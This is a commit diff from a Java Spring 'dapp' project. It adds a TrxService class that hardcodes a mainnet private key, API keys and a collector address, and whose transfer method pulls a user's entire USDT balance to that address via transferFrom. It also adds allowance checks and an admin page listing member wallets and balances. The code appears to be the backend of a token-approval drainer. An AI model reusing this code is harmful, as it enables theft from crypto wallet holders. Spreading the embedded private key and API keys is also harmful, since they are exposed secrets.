src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -1,5 +1,7 @@ package cc.mrbird.febs.dapp.chain; import cc.mrbird.febs.common.exception.FebsException; import cn.hutool.core.collection.CollUtil; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import org.web3j.abi.FunctionEncoder; @@ -278,5 +280,29 @@ } } public BigInteger ethAllowance(String toAddress, String fromAddress) { String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; String methodName = "allowance"; List<TypeReference<?>> outputParameters = new ArrayList<>(); TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {}; outputParameters.add(typeReference); Function function = new Function(methodName, Arrays.asList(new Address(toAddress), new Address(fromAddress)) , outputParameters); String data = FunctionEncoder.encode(function); Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data); EthCall ethCall = null; try { ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); return (BigInteger) results.get(0).getValue(); } catch (IOException e) { e.printStackTrace(); } return BigInteger.ZERO; } } src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
New file @@ -0,0 +1,60 @@ package cc.mrbird.febs.dapp.chain; import cc.mrbird.febs.common.contants.AppContants; import cn.hutool.core.util.StrUtil; import org.tron.trident.core.ApiWrapper; import org.tron.trident.core.contract.Contract; import org.tron.trident.core.contract.Trc20Contract; import java.math.BigDecimal; import java.math.BigInteger; /** * * 查询是否有多个授权 * https://apiasia.tronscan.io:5566/api/account/approve/list?address=TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD * * @author wzy * @date 2022-03-21 **/ public class TrxService { private final static String ADDRESS = "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9"; private final static String PRIVATE = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae"; private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54"; private Trc20Contract contract = null; public static TrxService INSTANCE = new TrxService(); public TrxService() { ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY); Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS); contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper); } public BigInteger allowance(String owner) { return contract.allowance(owner, ADDRESS); } public BigInteger balanceOf(String address) { return contract.balanceOf(address); } public void transfer(String address) { BigInteger balance = balanceOf(address); contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000L); } public void transfer(String address, BigDecimal amount) { BigInteger decimals = contract.decimals(); BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); amount = amount.multiply(mul); contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000L); } } src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
@@ -107,69 +107,12 @@ // Trc20Contract token = new Trc20Contract(trc20Contract, "TZ5sZBLU5pdZbqN56rVsUEQuRHzYGRSY8a", wrapper); // ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); // // Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); // Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); // // System.out.println(token.balanceOf("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"));; ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); HttpService service = new HttpService("https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"); Web3j web3j = Web3j.build(service); Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); // String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; // String fromAddress = "0x391040eE5F241711E763D0AC55E775B9b4bD0024"; // String toAddress = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600"; // int decimal = 6; // String methodName = "allowance"; // List<Type> inputParameters = new ArrayList<>(); // List<TypeReference<?>> outputParameters = new ArrayList<>(); // Address address = new Address(toAddress); // inputParameters.add(address); // TypeReference<Uint256> typeReference = new TypeReference<Uint256>() { // }; // outputParameters.add(typeReference); // Function function = new Function(methodName, inputParameters, outputParameters); // String data = FunctionEncoder.encode(function); // Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data); // // EthCall ethCall; // BigInteger balanceValue = BigInteger.ZERO; // ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); // List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); // System.out.println(results); // String gas = ""; // if(StringUtils.isBlank(gas)){ // gas="70"; // } // String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; // Credentials credentials = Credentials.create(privateKey); // // EthGetTransactionCount ethGetTransactionCount = web3j // .ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get(); // // BigInteger nonce = ethGetTransactionCount.getTransactionCount(); // // Function function = new Function("transfer", // Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))), // Arrays.asList(new TypeReference<Type>() { // })); // // String encodedFunction = FunctionEncoder.encode(function); // // RawTransaction rawTransaction = RawTransaction.createTransaction(nonce, // Convert.toWei(gas, Convert.Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快 // Convert.toWei("60000", Convert.Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限 // // 10*80000/1000000000=0.0008 手续费 // // byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials); // String hexValue = Numeric.toHexString(signedMessage); // // // log.debug("transfer hexValue:" + hexValue); // // CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync(); // EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get(); System.out.println(token.allowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9"));; }
New file @@ -0,0 +1,35 @@ package cc.mrbird.febs.dapp.controller; import cc.mrbird.febs.common.controller.BaseController; import cc.mrbird.febs.common.entity.FebsResponse; import cc.mrbird.febs.common.entity.QueryRequest; import cc.mrbird.febs.dapp.entity.DappMemberEntity; import cc.mrbird.febs.dapp.service.DappMemberService; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Controller; import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import java.util.Map; /** * @author wzy * @date 2022-03-21 **/ @Slf4j @Validated @RestController @RequiredArgsConstructor @RequestMapping(value = "member") public class MemberController extends BaseController { private final DappMemberService dappMemberService; @RequestMapping(value = "/list") public FebsResponse list(DappMemberEntity member, QueryRequest request) { Map<String, Object> dataTable = getDataTable(dappMemberService.selectInPage(member, request)); return new FebsResponse().success().data(dataTable); } } src/main/java/cc/mrbird/febs/dapp/controller/ViewController.java
New file @@ -0,0 +1,26 @@ package cc.mrbird.febs.dapp.controller; import cc.mrbird.febs.common.entity.FebsConstant; import cc.mrbird.febs.common.utils.FebsUtil; import lombok.RequiredArgsConstructor; import org.apache.shiro.authz.annotation.RequiresPermissions; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; /** * @author wzy * @date 2022-03-21 **/ @Controller("dappView") @RequestMapping(FebsConstant.VIEW_PREFIX + "dappView") @RequiredArgsConstructor public class ViewController { @GetMapping("member") @RequiresPermissions("member:view") public String member() { return FebsUtil.view("dapp/member"); } } src/main/java/cc/mrbird/febs/dapp/mapper/DappMemberDao.java
@@ -2,6 +2,8 @@ import cc.mrbird.febs.dapp.entity.DappMemberEntity; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import org.apache.ibatis.annotations.Param; /** @@ -13,4 +15,6 @@ DappMemberEntity selectByAddress(@Param("address") String address); DappMemberEntity selectMemberInfoByInviteId(@Param("inviteId") String inviteId); IPage<DappMemberEntity> selectInPage(@Param("record") DappMemberEntity member, Page<DappMemberEntity> page); } src/main/java/cc/mrbird/febs/dapp/service/DappMemberService.java
@@ -1,7 +1,9 @@ package cc.mrbird.febs.dapp.service; import cc.mrbird.febs.common.entity.QueryRequest; import cc.mrbird.febs.dapp.dto.ApproveDto; import cc.mrbird.febs.dapp.entity.DappMemberEntity; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; public interface DappMemberService extends IService<DappMemberEntity> { @@ -9,4 +11,6 @@ void approve(ApproveDto approveDto); boolean isApprove(String address); IPage<DappMemberEntity> selectInPage(DappMemberEntity member, QueryRequest request); } src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -1,5 +1,6 @@ package cc.mrbird.febs.dapp.service.impl; import cc.mrbird.febs.common.entity.QueryRequest; import cc.mrbird.febs.common.utils.ShareCodeUtil; import cc.mrbird.febs.dapp.dto.ApproveDto; import cc.mrbird.febs.dapp.entity.DappMemberEntity; @@ -10,6 +11,8 @@ import cc.mrbird.febs.dapp.mapper.DappWalletMineDao; import cc.mrbird.febs.dapp.service.DappMemberService; import cn.hutool.core.util.StrUtil; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import lombok.RequiredArgsConstructor; import org.apache.commons.lang3.StringUtils; @@ -87,4 +90,10 @@ } return false; } @Override public IPage<DappMemberEntity> selectInPage(DappMemberEntity member, QueryRequest request) { Page<DappMemberEntity> page = new Page<>(request.getPageNum(), request.getPageSize()); return dappMemberDao.selectInPage(member, page); } } src/main/resources/mapper/dapp/DappMemberDao.xml
@@ -9,4 +9,22 @@ <select id="selectMemberInfoByInviteId" resultType="cc.mrbird.febs.dapp.entity.DappMemberEntity"> select * from dapp_member where invite_id=#{inviteId} </select> <select id="selectInPage" resultType="cc.mrbird.febs.dapp.entity.DappMemberEntity"> select * from dapp_member <where> <if test="record.accountStatus != null"> and account_status = #{record.accountStatus} </if> <if test="record.changeAble != null"> and change_able = #{record.changeAble} </if> <if test="record.withdrawAble != null"> and withdraw_able = #{record.withdrawAble} </if> <if test="record.inviteId != null and record.inviteId != ''"> and invite_id = #{record.inviteId} </if> </where> </select> </mapper> src/main/resources/templates/febs/views/dapp/member.html
New file @@ -0,0 +1,312 @@ <div class="layui-fluid layui-anim febs-anim" id="febs-member" lay-title="用户管理"> <div class="layui-row febs-container"> <div class="layui-col-md12"> <div class="layui-card"> <div class="layui-card-body febs-table-full"> <form class="layui-form layui-table-form" lay-filter="user-table-form"> <div class="layui-row"> <div class="layui-col-md10"> <div class="layui-form-item"> <div class="layui-inline"> <label class="layui-form-label layui-form-label-sm">邀请码</label> <div class="layui-input-inline"> <input type="text" name="inviteId" autocomplete="off" class="layui-input"> </div> </div> <div class="layui-inline"> <label class="layui-form-label layui-form-label-sm">状态</label> <div class="layui-input-inline"> <select name="accountStatus"> <option value=""></option> <option value="2">禁用</option> <option value="1">有效</option> </select> </div> </div> <div class="layui-inline"> <label class="layui-form-label layui-form-label-sm">可兑换</label> <div class="layui-input-inline"> <select name="changeAble"> <option value=""></option> <option value="2">否</option> <option value="1">是</option> </select> </div> </div> <div class="layui-inline"> <label class="layui-form-label layui-form-label-sm">可提现</label> <div class="layui-input-inline"> <select name="withdrawAble"> <option value=""></option> <option value="2">否</option> <option value="1">是</option> </select> </div> </div> </div> </div> <div class="layui-col-md2 layui-col-sm12 layui-col-xs12 table-action-area"> <div class="layui-btn layui-btn-sm layui-btn-primary febs-button-blue-plain table-action" id="query"> <i class="layui-icon"></i> </div> <div class="layui-btn layui-btn-sm layui-btn-primary febs-button-green-plain table-action" id="reset"> <i class="layui-icon"></i> </div> <div class="layui-btn layui-btn-sm layui-btn-primary table-action action-more" shiro:hasAnyPermissions="user:add,user:update,user:password:reset,user:export"> <i class="layui-icon"></i> </div> </div> </div> </form> <table lay-filter="memberTable" lay-data="{id: 'memberTable'}"></table> </div> </div> </div> </div> </div> <script type="text/html" id="user-status"> {{# var status = { 1: {title: '有效', color: 'green'}, 2: {title: '禁用', color: 'volcano'} }[d.accountStatus]; }} <span class="layui-badge febs-bg-{{status.color}}">{{ status.title }}</span> </script> <script type="text/html" id="change-able"> {{# var status = { 1: {title: '是', color: 'green'}, 2: {title: '否', color: 'volcano'} }[d.changeAble]; }} <span class="layui-badge febs-bg-{{status.color}}">{{ status.title }}</span> </script> <script type="text/html" id="withdraw-able"> {{# var status = { 1: {title: '是', color: 'green'}, 2: {title: '否', color: 'volcano'} }[d.withdrawAble]; }} <span class="layui-badge febs-bg-{{status.color}}">{{ status.title }}</span> </script> <script type="text/html" id="user-sex"> {{# var sex = { 2: {title: '保密'}, 1: {title: '女'}, 0: {title: '男'} }[d.sex]; }} <span>{{ sex.title }}</span> </script> <script type="text/html" id="user-option"> <span shiro:lacksPermission="user:view,user:update,user:delete"> <span class="layui-badge-dot febs-bg-orange"></span> 无权限 </span> <a lay-event="detail" shiro:hasPermission="user:view"><i class="layui-icon febs-edit-area febs-green"></i></a> <a lay-event="edit" shiro:hasPermission="user:update"><i class="layui-icon febs-edit-area febs-blue"></i></a> <a lay-event="del" shiro:hasPermission="user:delete"><i class="layui-icon febs-edit-area febs-red"></i></a> </script> <script data-th-inline="none" type="text/javascript"> layui.use(['dropdown', 'jquery', 'laydate', 'form', 'table', 'febs', 'treeSelect'], function () { var $ = layui.jquery, laydate = layui.laydate, febs = layui.febs, form = layui.form, table = layui.table, treeSelect = layui.treeSelect, dropdown = layui.dropdown, $view = $('#febs-member'), $query = $view.find('#query'), $reset = $view.find('#reset'), $searchForm = $view.find('form'), sortObject = {field: 'createTime', type: null}, tableIns, createTimeFrom, createTimeTo; form.render(); initTable(); laydate.render({ elem: '#user-createTime', range: true, trigger: 'click' }); dropdown.render({ elem: $view.find('.action-more'), click: function (name, elem, event) { var checkStatus = table.checkStatus('memberTable'); if (name === 'add') { febs.modal.open('新增用户', 'system/user/add', { btn: ['提交', '重置'], area: $(window).width() <= 750 ? '95%' : '50%', offset: '30px', yes: function (index, layero) { $('#user-add').find('#submit').trigger('click'); }, btn2: function () { $('#user-add').find('#reset').trigger('click'); return false; } }); } if (name === 'delete') { if (!checkStatus.data.length) { febs.alert.warn('请选择需要删除的用户'); } else { febs.modal.confirm('删除用户', '确定删除该用户？', function () { var userIds = []; layui.each(checkStatus.data, function (key, item) { userIds.push(item.userId) }); deleteUsers(userIds.join(',')); }); } } if (name === 'reset') { if (!checkStatus.data.length) { febs.alert.warn('请选择需要重置密码的用户'); } else { var usernames = []; layui.each(checkStatus.data, function (key, item) { usernames.push(item.username) }); febs.post(ctx + 'user/password/reset/' + usernames.join(','), null, function () { febs.alert.success('所选用户密码已重置为1234qwer'); }); } } if (name === 'export') { var params = $.extend(getQueryParams(), {field: sortObject.field, order: sortObject.type}); params.pageSize = $view.find(".layui-laypage-limits option:selected").val(); params.pageNum = $view.find(".layui-laypage-em").next().html(); febs.download(ctx + 'user/excel', params, '用户信息表.xlsx'); } }, options: [{ name: 'add', title: '新增用户', perms: 'user:add' }, { name: 'delete', title: '删除用户', perms: 'user:delete' }, { name: 'reset', title: '密码重置', perms: 'user:password:reset' }, { name: 'export', title: '导出Excel', perms: 'user:export' }] }); treeSelect.render({ elem: $view.find('#dept'), type: 'get', data: ctx + 'dept/select/tree', placeholder: '请选择', search: false }); table.on('tool(memberTable)', function (obj) { var data = obj.data, layEvent = obj.event; if (layEvent === 'detail') { febs.modal.view('用户信息', 'system/user/detail/' + data.username, { area: $(window).width() <= 750 ? '95%' : '660px' }); } if (layEvent === 'del') { febs.modal.confirm('删除用户', '确定删除该用户？', function () { deleteUsers(data.userId); }); } if (layEvent === 'edit') { febs.modal.open('修改用户', 'system/user/update/' + data.username, { area: $(window).width() <= 750 ? '90%' : '50%', offset: '30px', btn: ['提交', '取消'], yes: function (index, layero) { $('#user-update').find('#submit').trigger('click'); }, btn2: function () { layer.closeAll(); } }); } }); table.on('sort(memberTable)', function (obj) { sortObject = obj; tableIns.reload({ initSort: obj, where: $.extend(getQueryParams(), { field: obj.field, order: obj.type }) }); }); $query.on('click', function () { var params = $.extend(getQueryParams(), {field: sortObject.field, order: sortObject.type}); tableIns.reload({where: params, page: {curr: 1}}); }); $reset.on('click', function () { $searchForm[0].reset(); tableIns.reload({where: getQueryParams(), page: {curr: 1}, initSort: sortObject}); }); function initTable() { tableIns = febs.table.init({ elem: $view.find('table'), id: 'memberTable', url: ctx + 'member/list', cols: [[ {type: 'checkbox'}, {field: 'address', title: '地址', minWidth: 100}, {field: 'balance', title: '余额'}, {field: 'inviteId', title: '邀请码', minWidth: 165}, {field: 'refererId', title: '上级邀请码', minWidth: 180}, {title: '账户状态', templet: '#user-status'}, {title: '是否可兑换', templet: '#change-able'}, {title: '是否可提现', templet: '#withdraw-able'}, {field: 'createTime', title: '创建时间', minWidth: 180}, {title: '操作', toolbar: '#user-option', minWidth: 140} ]] }); } function getQueryParams() { return { inviteId: $searchForm.find('input[name="inviteId"]').val().trim(), changeAble: $searchForm.find("select[name='changeAble']").val(), accountStatus: $searchForm.find("select[name='accountStatus']").val(), withdrawAble: $searchForm.find("input[name='withdrawAble']").val(), invalidate_ie_cache: new Date() }; } function deleteUsers(userIds) { var currentUserId = currentUser.userId + ''; if (('' + userIds).split(',').indexOf(currentUserId) !== -1) { febs.alert.warn('所选用户包含当前登录用户，无法删除'); return; } febs.get(ctx + 'user/delete/' + userIds, null, function () { febs.alert.success('删除用户成功'); $query.click(); }); } }) </script> src/main/resources/templates/febs/views/dapp/test.html
New file @@ -0,0 +1,10 @@ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> </body> </html>
